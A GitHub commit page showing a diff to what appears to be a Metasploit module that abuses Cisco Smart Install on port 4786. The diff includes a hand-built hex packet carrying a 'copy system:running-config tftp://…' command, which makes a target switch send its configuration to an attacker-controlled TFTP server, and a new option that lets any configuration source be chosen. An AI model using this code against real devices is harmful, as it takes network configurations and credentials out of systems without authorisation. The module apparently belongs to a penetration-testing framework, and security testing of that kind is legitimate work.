Skip to content

Commit 205ded8

Browse files
author
Austin
authored
Land #2 from jhart-r7/pr/fixup-9214
2 parents cfd06ab + 5484ee8 commit 205ded8

File tree

1 file changed

+11
-12
lines changed

1 file changed

+11
-12
lines changed

modules/auxiliary/scanner/misc/cisco_smart_install.rb

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,8 @@ def initialize(info = {})
4242
[
4343
Opt::RPORT(4786),
4444
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
45-
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10])
45+
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
46+
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
4647
]
4748
)
4849
end
@@ -81,8 +82,8 @@ def cleanup
8182
print_status("Providing some time for transfers to complete...")
8283
::IO.select(nil, nil, nil, 5.0)
8384

84-
print_status("Shutting down the TFTP service...")
8585
if @tftp
86+
print_status("Shutting down the TFTP service...")
8687
@tftp.close rescue nil
8788
@tftp = nil
8889
end
@@ -93,35 +94,33 @@ def cleanup
9394
# Callback for incoming files
9495
#
9596
def process_incoming(info)
96-
@config_recieved = true
9797
return if not info[:file]
9898
name = info[:file][:name]
9999
data = info[:file][:data]
100100
from = info[:from]
101-
return if not (name and data)
101+
return if not (name && data && from)
102102

103103
# Trim off IPv6 mapped IPv4 if necessary
104104
from = from[0].dup
105105
from.gsub!('::ffff:', '')
106106

107-
print_status("Incoming file from #{from} - #{name} #{data.length} bytes")
108-
cisco_ios_config_eater(from, 4786, data)
107+
print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")
108+
cisco_ios_config_eater(from, rport, data)
109109
end
110110

111111
def decode_hex(string)
112112
string.scan(/../).map { |x| x.hex }.pack('c*')
113113
end
114114

115-
def send_packet
116-
copy_config = "copy system:running-config tftp://#{@lhost}/#{Rex::Text.rand_text_alpha(8)}"
115+
def request_config(tftp_server, config)
116+
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
117117
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
118118
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
119-
print_status("Requesting configuration from device...")
119+
print_status("Attempting #{copy_config}")
120120
sock.put(packet)
121121
end
122122

123123
def run_host(ip)
124-
@lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
125124
begin
126125
case
127126
when action.name == 'SCAN'
@@ -133,8 +132,8 @@ def run_host(ip)
133132
return unless smi?
134133
disconnect # cant send any additional packets, so closing
135134
connect
136-
print_status("Requesting configuration from device...")
137-
send_packet
135+
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
136+
request_config(tftp_server, datastore['CONFIG'])
138137
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
139138
Rex.sleep(datastore['SLEEP'])
140139
end

0 commit comments

Comments
 (0)